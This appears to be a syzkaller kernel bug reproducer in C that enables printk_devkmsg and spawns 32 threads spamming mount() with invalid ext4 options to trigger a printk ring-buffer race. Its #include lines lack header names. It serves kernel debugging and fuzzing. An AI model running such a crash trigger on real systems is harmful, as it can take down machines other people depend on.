// https://syzkaller.appspot.com/bug?id=28edbe88ba971d83bd581f41c40c6fab093e998f #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include pthread_t mount_threads[32]; void *mount_spammer(void *arg) { long cpu = (long)arg; long num_cores = sysconf(_SC_NPROCESSORS_ONLN); if (num_cores > 0) { cpu_set_t cpuset; CPU_ZERO(&cpuset); CPU_SET(cpu % num_cores, &cpuset); sched_setaffinity(0, sizeof(cpu_set_t), &cpuset); } char opt[256]; memset(opt, 'x', sizeof(opt)); unsigned int seed = (unsigned int)cpu + 1; while (1) { // Randomize the length of the invalid mount option for every call. // Use smaller lengths (16 to 128 bytes) to match the original bug report // and increase the frequency of allocations and data_push_tail calls. int len = (rand_r(&seed) % 113) + 16; opt[len] = '\0'; // Trigger in-kernel printk via ext4_msg. // The unrecognized option will be printed via vsnprintf. mount("none", ".", "ext4", 0, opt); opt[len] = 'x'; // restore the 'x' for the next iteration } return NULL; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); printf("[*] Starting reproducer...\n"); // Disable devkmsg ratelimiting to ensure our spam actually reaches the ring buffer int fd = open("/proc/sys/kernel/printk_devkmsg", O_WRONLY); if (fd < 0) { printf("[-] Failed to open /proc/sys/kernel/printk_devkmsg: %s (continuing anyway)\n", strerror(errno)); } else { printf("[+] open /proc/sys/kernel/printk_devkmsg successful.\n"); ssize_t res = write(fd, "on\n", 3); if (res < 0) { printf("[-] Failed to write to printk_devkmsg: %s (continuing anyway)\n", strerror(errno)); } else { printf("[+] write to printk_devkmsg successful.\n"); } close(fd); } // 32 threads distributed across CPUs to trigger in-kernel printk calls // with continuously varying format string lengths. for (long i = 0; i < 32; i++) { int res = pthread_create(&mount_threads[i], NULL, mount_spammer, (void *)i); if (res != 0) { printf("[-] Failed to create mount_spammer thread: %s\n", strerror(res)); exit(1); } } printf("[+] Spawned 32 mount_spammer threads.\n"); printf("[*] Threads are running. Waiting for timeout to trigger the race...\n"); // Let the spammer threads run indefinitely. // The infrastructure will terminate the program after the 2.5-minute timeout. while (1) { sleep(10); } return 0; }